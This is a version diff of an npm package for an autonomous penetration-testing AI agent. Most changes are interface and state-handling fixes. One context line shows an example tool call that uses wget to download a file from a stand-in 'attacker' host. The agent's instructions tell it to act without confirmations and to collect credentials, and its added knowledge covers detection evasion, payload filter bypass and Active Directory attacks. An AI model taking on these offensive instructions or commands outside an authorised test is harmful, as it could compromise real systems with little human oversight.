pentesting 0.48.2 → 0.49.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -33,18 +33,6 @@ Pentesting support tool
33
33
 
34
34
  ## Quick Start with Docker (Recommended)
35
35
 
36
-
37
- ```bash
38
- docker run -it --rm \
39
- -e PENTEST_API_KEY="your_glm_api_key" \
40
- -e PENTEST_BASE_URL="https://open.bigmodel.cn/api/paas/v4" \
41
- -e PENTEST_MODEL="glm-5" \
42
- -v ./pentest-data:/root/.pentest \
43
- agnusdei1207/pentesting
44
- ```
45
-
46
- ### Using Brave Search
47
-
48
36
  ```bash
49
37
  docker run -it --rm \
50
38
  -e PENTEST_API_KEY="your_glm_api_key" \
package/dist/main.js CHANGED
@@ -13,7 +13,7 @@ import chalk from "chalk";
13
13
 
14
14
  // src/platform/tui/app.tsx
15
15
  import { useState as useState5, useCallback as useCallback4, useEffect as useEffect4, useRef as useRef5 } from "react";
16
- import { Box as Box6, useInput as useInput2, useApp } from "ink";
16
+ import { Box as Box6, useInput as useInput2, useApp, useStdout } from "ink";
17
17
 
18
18
  // src/platform/tui/hooks/useAgent.ts
19
19
  import { useState as useState2, useEffect as useEffect2, useCallback as useCallback2, useRef as useRef3 } from "react";
@@ -331,7 +331,7 @@ var ORPHAN_PROCESS_NAMES = [
331
331
 
332
332
  // src/shared/constants/agent.ts
333
333
  var APP_NAME = "Pentest AI";
334
- var APP_VERSION = "0.48.2";
334
+ var APP_VERSION = "0.49.0";
335
335
  var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
336
336
  var LLM_ROLES = {
337
337
  SYSTEM: "system",
@@ -2920,6 +2920,8 @@ var AttackGraph = class {
2920
2920
  // ─── TUI Visualization ──────────────────────────────────────
2921
2921
  /**
2922
2922
  * Generate ASCII visualization for TUI /graph command.
2923
+ * WHY no truncation: /graph is the user's audit view — all nodes must be visible.
2924
+ * Truncation is only for toPrompt() (LLM context budget).
2923
2925
  */
2924
2926
  toASCII() {
2925
2927
  if (this.nodes.size === 0) return "(Empty attack graph \u2014 no discoveries yet)";
@@ -2945,17 +2947,13 @@ var AttackGraph = class {
2945
2947
  [NODE_STATUS.SUCCEEDED]: "\u25CF",
2946
2948
  [NODE_STATUS.FAILED]: "\u2717"
2947
2949
  };
2948
- let nodeCount = 0;
2950
+ const typeSummary = Object.entries(groups).map(([t, ns]) => `${typeIcons[t] || "\xB7"} ${ns.length}`).join(" ");
2951
+ lines.push(`\u2502 ${typeSummary}`);
2949
2952
  for (const [type, nodes] of Object.entries(groups)) {
2950
- if (nodeCount >= GRAPH_LIMITS.ASCII_MAX_NODES) {
2951
- lines.push(`\u2502 ... and ${this.nodes.size - nodeCount} more nodes`);
2952
- break;
2953
- }
2954
2953
  const icon = typeIcons[type] || "\xB7";
2955
2954
  lines.push(`\u2502`);
2956
2955
  lines.push(`\u2502 ${icon} ${type.toUpperCase()} (${nodes.length})`);
2957
2956
  for (const node of nodes) {
2958
- if (nodeCount >= GRAPH_LIMITS.ASCII_MAX_NODES) break;
2959
2957
  const sIcon = statusIcons[node.status] || "?";
2960
2958
  const fail = node.status === NODE_STATUS.FAILED && node.failReason ? ` \u2014 ${node.failReason}` : "";
2961
2959
  let detail = "";
@@ -2982,7 +2980,6 @@ var AttackGraph = class {
2982
2980
  return `${eName}${eStatus}`;
2983
2981
  }).join(", ")}` : "";
2984
2982
  lines.push(`\u2502 ${sIcon} ${node.label}${detail}${fail}${edgeStr}`);
2985
- nodeCount++;
2986
2983
  }
2987
2984
  }
2988
2985
  const succeededNodes = Array.from(this.nodes.values()).filter((n) => n.status === NODE_STATUS.SUCCEEDED);
@@ -3816,19 +3813,27 @@ var AgentEventEmitter = class {
3816
3813
  }
3817
3814
  }
3818
3815
  /**
3819
- * Emit an event
3816
+ * Emit an event.
3817
+ * WHY try-catch: Listeners must NEVER crash the emitter.
3818
+ * If a TUI listener throws (e.g., setState after unmount), the agent loop must survive.
3820
3819
  */
3821
3820
  emit(event) {
3822
3821
  const listeners = this.listeners.get(event.type);
3823
3822
  if (listeners) {
3824
3823
  for (const listener of listeners) {
3825
- listener(event);
3824
+ try {
3825
+ listener(event);
3826
+ } catch {
3827
+ }
3826
3828
  }
3827
3829
  }
3828
3830
  const anyListeners = this.listeners.get("*");
3829
3831
  if (anyListeners) {
3830
3832
  for (const listener of anyListeners) {
3831
- listener(event);
3833
+ try {
3834
+ listener(event);
3835
+ } catch {
3836
+ }
3832
3837
  }
3833
3838
  }
3834
3839
  }
@@ -10120,10 +10125,6 @@ function parseAnalystMemo(response) {
10120
10125
  }
10121
10126
  function formatAnalystDigest(digest, filePath, originalChars) {
10122
10127
  return [
10123
- "\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557",
10124
- "\u2551 ANALYST DIGEST (Independent LLM analysis) \u2551",
10125
- "\u255A\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255D",
10126
- "",
10127
10128
  digest,
10128
10129
  "",
10129
10130
  `\u{1F4C2} Full output saved: ${filePath} (${originalChars} chars)`,
@@ -10770,6 +10771,30 @@ RULES:
10770
10771
  this.state.addLoot({ type: LOOT_TYPES.CREDENTIAL, host: "auto-extracted", detail: cred, obtainedAt: Date.now() });
10771
10772
  }
10772
10773
  }
10774
+ if (digestResult?.memo?.attackVectors.length && digestResult.memo.attackValue === "HIGH") {
10775
+ const existingTitles = new Set(this.state.getFindings().map((f) => f.title));
10776
+ for (const vector of digestResult.memo.attackVectors) {
10777
+ const title = `[Auto] ${vector.slice(0, 100)}`;
10778
+ if (!existingTitles.has(title)) {
10779
+ this.state.addFinding({
10780
+ id: generateId(),
10781
+ title,
10782
+ severity: "high",
10783
+ affected: [],
10784
+ description: `Auto-extracted by Analyst LLM: ${vector}`,
10785
+ evidence: digestResult.memo.keyFindings.slice(0, 5),
10786
+ isVerified: false,
10787
+ remediation: "",
10788
+ foundAt: Date.now()
10789
+ });
10790
+ this.state.attackGraph.addVulnerability(title, "auto-detected", "high", false);
10791
+ existingTitles.add(title);
10792
+ }
10793
+ }
10794
+ }
10795
+ if (this.state.getFindings().length > 0 && this.state.getPhase() === PHASES.RECON) {
10796
+ this.state.setPhase(PHASES.VULN_ANALYSIS);
10797
+ }
10773
10798
  }
10774
10799
  /**
10775
10800
  * Enrich tool error — delegates to extracted module (§3-1)
@@ -11360,8 +11385,14 @@ var CORE_KNOWLEDGE_FILES = [
11360
11385
  // Attack prioritization, first-turn protocol, upgrade loop
11361
11386
  AGENT_FILES.ORCHESTRATOR,
11362
11387
  // Phase transitions, multi-target management
11363
- AGENT_FILES.EVASION
11388
+ AGENT_FILES.EVASION,
11364
11389
  // Detection avoidance (always relevant)
11390
+ AGENT_FILES.ZERO_DAY,
11391
+ // Known CVE lookup + unknown vuln discovery methodology
11392
+ AGENT_FILES.PAYLOAD_CRAFT,
11393
+ // Payload mutation and filter bypass techniques
11394
+ AGENT_FILES.INFRA
11395
+ // Active Directory / infrastructure attack methodology
11365
11396
  ];
11366
11397
  var PHASE_TECHNIQUE_MAP = {
11367
11398
  [PHASES.RECON]: ["network-svc", "shells", "crypto"],
@@ -12541,8 +12572,14 @@ var useAgentState = () => {
12541
12572
  }
12542
12573
  }, []);
12543
12574
  const clearAllTimers = useCallback(() => {
12544
- if (timerRef.current) clearInterval(timerRef.current);
12545
- if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
12575
+ if (timerRef.current) {
12576
+ clearInterval(timerRef.current);
12577
+ timerRef.current = null;
12578
+ }
12579
+ if (retryCountdownRef.current) {
12580
+ clearInterval(retryCountdownRef.current);
12581
+ retryCountdownRef.current = null;
12582
+ }
12546
12583
  }, []);
12547
12584
  return {
12548
12585
  // State
@@ -12808,7 +12845,10 @@ function handleRetry(e, addMessage, setRetryState, retryCountdownRef, retryCount
12808
12845
  remaining -= 1;
12809
12846
  if (remaining <= 0) {
12810
12847
  setRetryState({ status: "idle" });
12811
- if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
12848
+ if (retryCountdownRef.current) {
12849
+ clearInterval(retryCountdownRef.current);
12850
+ retryCountdownRef.current = null;
12851
+ }
12812
12852
  } else {
12813
12853
  setRetryState((prev) => prev.status === "retrying" ? { ...prev, countdown: remaining } : prev);
12814
12854
  }
@@ -12876,25 +12916,33 @@ var useAgent = (shouldAutoApprove, target) => {
12876
12916
  }
12877
12917
  }, [agent, target]);
12878
12918
  useAgentEvents(agent, eventsRef, state);
12919
+ const abortedRef = useRef3(false);
12879
12920
  const executeTask = useCallback2(async (task) => {
12921
+ abortedRef.current = false;
12880
12922
  setIsProcessing(true);
12881
12923
  manageTimer("start");
12882
12924
  setCurrentStatus("Thinking");
12883
12925
  resetCumulativeCounters();
12884
12926
  try {
12885
12927
  const response = await agent.execute(task);
12928
+ if (abortedRef.current) return;
12886
12929
  const meta = lastResponseMetaRef.current;
12887
12930
  const suffix = meta ? ` ${formatMeta(meta.durationMs || 0, (meta.tokens?.input || 0) + (meta.tokens?.output || 0))}` : "";
12888
12931
  addMessage("ai", response + suffix);
12889
12932
  } catch (e) {
12890
- addMessage("error", e instanceof Error ? e.message : String(e));
12933
+ if (!abortedRef.current) {
12934
+ addMessage("error", e instanceof Error ? e.message : String(e));
12935
+ }
12891
12936
  } finally {
12892
- manageTimer("stop");
12893
- setIsProcessing(false);
12894
- setCurrentStatus("");
12937
+ if (!abortedRef.current) {
12938
+ manageTimer("stop");
12939
+ setIsProcessing(false);
12940
+ setCurrentStatus("");
12941
+ }
12895
12942
  }
12896
12943
  }, [agent, addMessage, manageTimer, resetCumulativeCounters, setIsProcessing, lastResponseMetaRef, setCurrentStatus]);
12897
12944
  const abort = useCallback2(() => {
12945
+ abortedRef.current = true;
12898
12946
  agent.abort();
12899
12947
  setIsProcessing(false);
12900
12948
  manageTimer("stop");
@@ -13323,6 +13371,7 @@ var ChatInput = memo4(({
13323
13371
  paddingX: showPreview ? 1 : 0,
13324
13372
  marginBottom: 0,
13325
13373
  height: showPreview ? void 0 : 0,
13374
+ overflowX: "hidden",
13326
13375
  children: showPreview && suggestions.map((cmd, i) => {
13327
13376
  const isFirst = i === 0;
13328
13377
  const nameColor = isFirst ? THEME.white : THEME.gray;
@@ -13350,6 +13399,7 @@ var ChatInput = memo4(({
13350
13399
  borderStyle: "single",
13351
13400
  borderColor: inputRequest.status === "active" ? THEME.yellow : THEME.border.default,
13352
13401
  paddingX: 1,
13402
+ overflowX: "hidden",
13353
13403
  children: inputRequest.status === "active" ? /* @__PURE__ */ jsxs4(Box4, { children: [
13354
13404
  /* @__PURE__ */ jsx5(Text5, { color: THEME.yellow, children: "[auth]" }),
13355
13405
  /* @__PURE__ */ jsxs4(Text5, { color: THEME.gray, children: [
@@ -13439,6 +13489,8 @@ var footer_default = Footer;
13439
13489
  import { jsx as jsx7, jsxs as jsxs6 } from "react/jsx-runtime";
13440
13490
  var App = ({ autoApprove = false, target }) => {
13441
13491
  const { exit } = useApp();
13492
+ const { stdout } = useStdout();
13493
+ const terminalWidth = stdout?.columns ?? 80;
13442
13494
  const [input, setInput] = useState5("");
13443
13495
  const [secretInput, setSecretInput] = useState5("");
13444
13496
  const [autoApproveMode, setAutoApproveMode] = useState5(autoApprove);
@@ -13468,12 +13520,15 @@ var App = ({ autoApprove = false, target }) => {
13468
13520
  inputRequestRef.current = inputRequest;
13469
13521
  const handleExit = useCallback4(() => {
13470
13522
  const ir = inputRequestRef.current;
13471
- if (ir.status === "active") ir.resolve(null);
13523
+ if (ir.status === "active") {
13524
+ ir.resolve(null);
13525
+ setInputRequest({ status: "inactive" });
13526
+ }
13472
13527
  cleanupAllProcesses().catch(() => {
13473
13528
  });
13474
13529
  exit();
13475
13530
  setTimeout(() => process.exit(0), DISPLAY_LIMITS.EXIT_DELAY);
13476
- }, [exit]);
13531
+ }, [exit, setInputRequest]);
13477
13532
  const handleCommand = useCallback4(async (cmd, args) => {
13478
13533
  switch (cmd) {
13479
13534
  case UI_COMMANDS.HELP:
@@ -13532,28 +13587,54 @@ var App = ({ autoApprove = false, target }) => {
13532
13587
  addMessage("system", "No findings.");
13533
13588
  break;
13534
13589
  }
13535
- const findingLines = [`\u2500\u2500\u2500 ${findings.length} Findings \u2500\u2500\u2500`, ""];
13536
- findings.forEach((f, i) => {
13537
- const verified = f.isVerified ? `[${ICONS.success}] Verified` : `[${ICONS.warning}] Unverified`;
13538
- const atk = f.attackPattern ? ` | ATT&CK: ${f.attackPattern}` : "";
13539
- findingLines.push(`[${i + 1}] [${f.severity.toUpperCase()}] ${f.title}`);
13540
- findingLines.push(` ${verified}${atk}`);
13541
- if (f.affected.length > 0) {
13542
- findingLines.push(` Affected: ${f.affected.join(", ")}`);
13543
- }
13544
- if (f.description) {
13545
- findingLines.push(` ${f.description}`);
13546
- }
13547
- if (f.evidence.length > 0) {
13548
- findingLines.push(` Evidence:`);
13549
- f.evidence.slice(0, DISPLAY_LIMITS.EVIDENCE_ITEMS_PREVIEW).forEach((e) => {
13550
- const preview = e.length > DISPLAY_LIMITS.EVIDENCE_PREVIEW_LENGTH ? e.slice(0, DISPLAY_LIMITS.EVIDENCE_PREVIEW_LENGTH) + "..." : e;
13551
- findingLines.push(` \u25B8 ${preview}`);
13552
- });
13553
- if (f.evidence.length > DISPLAY_LIMITS.EVIDENCE_ITEMS_PREVIEW) findingLines.push(` ... +${f.evidence.length - DISPLAY_LIMITS.EVIDENCE_ITEMS_PREVIEW} more`);
13554
- }
13590
+ const severityOrder = ["critical", "high", "medium", "low", "info"];
13591
+ const severityIcons = {
13592
+ critical: "\u{1F534}",
13593
+ high: "\u{1F7E0}",
13594
+ medium: "\u{1F7E1}",
13595
+ low: "\u{1F7E2}",
13596
+ info: "\u26AA"
13597
+ };
13598
+ const grouped = {};
13599
+ for (const f of findings) {
13600
+ const sev = f.severity.toLowerCase();
13601
+ if (!grouped[sev]) grouped[sev] = [];
13602
+ grouped[sev].push(f);
13603
+ }
13604
+ const findingLines = [];
13605
+ const sevCounts = severityOrder.filter((s) => grouped[s]?.length).map((s) => `${severityIcons[s]} ${s.toUpperCase()}: ${grouped[s].length}`).join(" ");
13606
+ findingLines.push(`\u2500\u2500\u2500 ${findings.length} Findings \u2500\u2500 ${sevCounts} \u2500\u2500\u2500`);
13607
+ findingLines.push("");
13608
+ for (const sev of severityOrder) {
13609
+ const group = grouped[sev];
13610
+ if (!group?.length) continue;
13611
+ const icon = severityIcons[sev] || "\u2022";
13612
+ findingLines.push(`${icon} \u2500\u2500 ${sev.toUpperCase()} (${group.length}) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500`);
13555
13613
  findingLines.push("");
13556
- });
13614
+ group.forEach((f, i) => {
13615
+ const verified = f.isVerified ? `\u2713 Verified` : `? Unverified`;
13616
+ const atk = f.attackPattern ? ` \u2502 ATT&CK: ${f.attackPattern}` : "";
13617
+ const cat = f.category ? ` \u2502 ${f.category}` : "";
13618
+ findingLines.push(` [${i + 1}] ${f.title}`);
13619
+ findingLines.push(` ${verified}${atk}${cat}`);
13620
+ if (f.affected.length > 0) {
13621
+ findingLines.push(` Affected: ${f.affected.join(", ")}`);
13622
+ }
13623
+ if (f.description) {
13624
+ findingLines.push(` ${f.description}`);
13625
+ }
13626
+ if (f.evidence.length > 0) {
13627
+ findingLines.push(` Evidence:`);
13628
+ f.evidence.forEach((e) => {
13629
+ findingLines.push(` \u25B8 ${e}`);
13630
+ });
13631
+ }
13632
+ if (f.remediation) {
13633
+ findingLines.push(` Fix: ${f.remediation}`);
13634
+ }
13635
+ findingLines.push("");
13636
+ });
13637
+ }
13557
13638
  addMessage("system", findingLines.join("\n"));
13558
13639
  break;
13559
13640
  case UI_COMMANDS.ASSETS:
@@ -13663,7 +13744,7 @@ ${procData.stdout || "(no output)"}
13663
13744
  process.off("SIGTERM", onSignal);
13664
13745
  };
13665
13746
  }, [handleCtrlC]);
13666
- return /* @__PURE__ */ jsxs6(Box6, { flexDirection: "column", paddingX: 1, children: [
13747
+ return /* @__PURE__ */ jsxs6(Box6, { flexDirection: "column", paddingX: 1, width: terminalWidth, children: [
13667
13748
  /* @__PURE__ */ jsx7(Box6, { flexDirection: "column", marginBottom: 1, flexGrow: 1, children: /* @__PURE__ */ jsx7(MessageList, { messages }) }),
13668
13749
  /* @__PURE__ */ jsxs6(Box6, { flexDirection: "column", children: [
13669
13750
  /* @__PURE__ */ jsx7(
@@ -115,11 +115,41 @@ bg_process({ action: "interact", command: "wget http://attacker/file -O /tmp/fil
115
115
 
116
116
  ### 1. Act, Don't Ask
117
117
  - ScopeGuard enforces boundaries. Out-of-scope targets are automatically blocked
118
- - Record findings immediately with add_finding
119
118
  - **Execute tasks immediately without unnecessary confirmations/questions**
120
119
  - If no results → **try a different approach** (never repeat the same method)
121
120
  - ask_user is for: (1) physically unobtainable information (passwords, SSH keys, API tokens), (2) **confirming you're truly done** when all vectors are exhausted
122
121
 
122
+ ### 🔴 CRITICAL: State Management — MANDATORY AFTER EVERY DISCOVERY
123
+
124
+ **You MUST call these tools to record your progress. If you skip these, your findings are LOST.**
125
+
126
+ **`add_finding`** — Call IMMEDIATELY when you **CONFIRM** a vulnerability:
127
+ - Confirmed LFI/RFI → `add_finding` with evidence (the actual command output)
128
+ - Confirmed SQLi → `add_finding` with evidence
129
+ - Confirmed RCE → `add_finding` with evidence
130
+ - Confirmed auth bypass → `add_finding` with evidence
131
+ - **Rule: If you can reproduce it, it's a confirmed finding. Record it NOW.**
132
+
133
+ **`add_target`** — Call when you discover a new host or service:
134
+ - New IP found during recon → `add_target`
135
+ - New ports/services discovered → `add_target` (merges with existing)
136
+
137
+ **`add_loot`** — Call when you find credentials, tokens, keys, hashes:
138
+ - Password, hash, API key, SSH key, JWT, session cookie → `add_loot`
139
+
140
+ **`update_phase`** — Call when your ACTIVITY changes:
141
+ - Scanning/enumerating services → `update_phase({ phase: "recon" })`
142
+ - Testing for vulnerabilities → `update_phase({ phase: "vulnerability_analysis" })`
143
+ - Exploiting confirmed vulns → `update_phase({ phase: "exploit" })`
144
+ - Post-access enumeration → `update_phase({ phase: "post_exploitation" })`
145
+ - Escalating privileges → `update_phase({ phase: "privilege_escalation" })`
146
+ - Moving to other hosts → `update_phase({ phase: "lateral_movement" })`
147
+
148
+ ⚠️ **Self-Check Every Turn:**
149
+ - "Did I confirm a vulnerability but NOT call `add_finding`?" → Call it NOW
150
+ - "Am I exploiting but Phase is still 'recon'?" → Call `update_phase` NOW
151
+ - "Did I find credentials but NOT call `add_loot`?" → Call it NOW
152
+
123
153
  ### 2. ask_user Rules
124
154
  - Use received values **immediately in the next command** — receiving and not using is forbidden
125
155
  - Once received → **reuse** — never ask for the same thing again
@@ -620,7 +620,7 @@ Layer 2 — Structural Reduction (cost: ~1ms)
620
620
  Layer 3 — Semantic Digest (cost: ~2-5s, separate LLM call)
621
621
  Only fires for truly massive outputs (>50K after Layer 1+2).
622
622
  Produces a focused 30-line intelligence summary.
623
- Full output is ALWAYS saved to ~/.pentesting/outputs/ for reference.
623
+ Full output is ALWAYS saved to .pentesting/outputs/ for reference.
624
624
  ```
625
625
 
626
626
  ### Agent Behavioral Rules for Output Handling
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "pentesting",
3
- "version": "0.48.2",
3
+ "version": "0.49.0",
4
4
  "description": "Autonomous Penetration Testing AI Agent",
5
5
  "type": "module",
6
6
  "main": "dist/main.js",